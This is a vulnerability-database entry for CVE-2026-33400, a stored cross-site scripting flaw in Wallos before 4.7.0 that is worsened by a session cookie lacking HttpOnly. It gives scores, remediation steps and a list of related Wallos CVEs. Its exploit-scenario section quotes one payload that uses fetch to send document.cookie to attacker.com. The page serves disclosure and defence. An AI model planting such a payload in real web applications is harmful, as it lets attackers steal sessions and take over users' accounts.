Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 score of 5.4 (Medium) reflects a network-accessible vulnerability requiring low attack complexity and low privileges (authenticated user), with limited scope and impact (Confidentiality and Integrity, no Availability impact). However, this score understates the actual risk: the vulnerability requires user interaction (UI:R), which increases complexity. The lack of published EPSS score and KEV status in the provided intelligence limits real-world exploitation probability assessment, but the presence of a patched version (4.7.0) and public GitHub security advisory suggests responsible disclosure occurred. The combination of stored XSS with session cookie mismanagement creates a high-confidence exploitation path for any authenticated attacker, making this a priority for any Wallos instance handling sensitive subscription or financial data. This is a legitimate medium-to-high-risk issue despite the moderate CVSS score, as XSS + cookie theft = full account takeover. |
| Exploit ScenarioDerived | An authenticated attacker with low privileges creates or renames a payment method with a malicious payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When an administrator or any other user visits the Settings, Subscriptions, or Statistics page to review subscription data, the injected script executes in their browser, silently exfiltrating their wallos_login session cookie to the attacker's server. The attacker then replays the stolen cookie to hijack the administrator's session and gain full account access, including the ability to modify subscriptions, rename payment methods further, or gather sensitive financial information. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 24, 2026
A stored cross-site scripting (XSS) vulnerability exists in Wallos versions prior to 4.7.0 within the payment method rename endpoint that allows authenticated users to inject arbitrary JavaScript code. When any user visits the Settings, Subscriptions, or Statistics pages, the injected malicious script executes in their browser context. This vulnerability is compounded by the wallos_login authentication cookie lacking the HttpOnly flag, enabling attackers to steal session tokens and achieve full account compromise through session hijacking.
RemediationAI
Immediately upgrade Wallos to version 4.7.0 or later to receive the XSS fix and any related security hardening. Visit the GitHub Security Advisory at https://github.com/ellite/Wallos/security/advisories/GHSA-p6v5-227f-f3fv for detailed patch instructions. As interim mitigations prior to upgrade, implement Content Security Policy (CSP) headers with strict script-src directives to block inline script execution, enforce HTTPS-only communication, and add the HttpOnly and Secure flags to all session cookies via application configuration or reverse proxy headers. Additionally, audit all payment method entries created by untrusted users and consider restricting payment method rename functionality to administrators only until patching is complete.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Wallos (CPE: cpe:2.3:a:ellite:wallos:*:*:*:*:*:*:*:*) is an open-source, self-hostable personal subscription tracker application. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, commonly known as Cross-site Scripting). The root cause stems from insufficient input validation and output encoding in the payment method rename endpoint, allowing user-supplied data to be stored in the application database and later rendered without proper sanitization. The secondary issue—missing HttpOnly flag on the wallos_login authentication cookie—violates HTTP cookie security best practices and allows JavaScript code running in the same origin to access sensitive session tokens, thereby enabling cross-site request forgery and session hijacking attacks.
Know when Wallos gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, a stored cross-site scripting (XSS) vulnerability in the payment method rename endpoint allows any authenticated user to inject arbitrary JavaScript that executes when any user visits the Settings, Subscriptions, or Statistics pages. Combined with the wallos_login authentication cookie lacking the HttpOnly flag, this enables full session hijacking. This issue has been patched in version 4.7.0.
Executive ViewAI
Organizations using Wallos should be aware of moderate risk from CVE-2026-33400, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Wallos <=2.38.2 has a file upload vulnerability in the restore database function, which allows unauthenticated users to
Wallos <= 2.38.2 has a file upload vulnerability in the restore backup function, which allows authenticated users to res
Server-side request forgery in Wallos versions before 4.6.2 allows authenticated attackers to conduct arbitrary network
Wallos before 1.15.3 is vulnerable to SQL Injection via the category and payment parameters to /subscriptions/get.php. R
Wallos versions 4.6.0 and below allow authenticated attackers to perform Server-Side Request Forgery attacks through the
Path traversal in Wallos subscription tracker versions prior to 4.6.2 allows unauthenticated remote attackers to read ar
Reflected cross-site scripting (XSS) in Wallos password reset functionality before version 4.6.2 allows unauthenticated
Wallos 0.9 is vulnerable to Cross Site Scripting (XSS) in all text-based input fields without proper validation, excludi
Zip Slip path traversal in Wallos's database restore endpoint allows an authenticated administrator to write arbitrary f
SSRF via admin-configurable OIDC endpoint URLs in Wallos subscription tracker allows an authenticated admin to direct th
Wallos, an open-source self-hostable subscription tracker, contains a Server-Side Request Forgery (SSRF) vulnerability i
Wallos prior to version 4.6.2 contains an authorization bypass allowing authenticated users to delete avatar files belon
EUVD-2026-14946
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB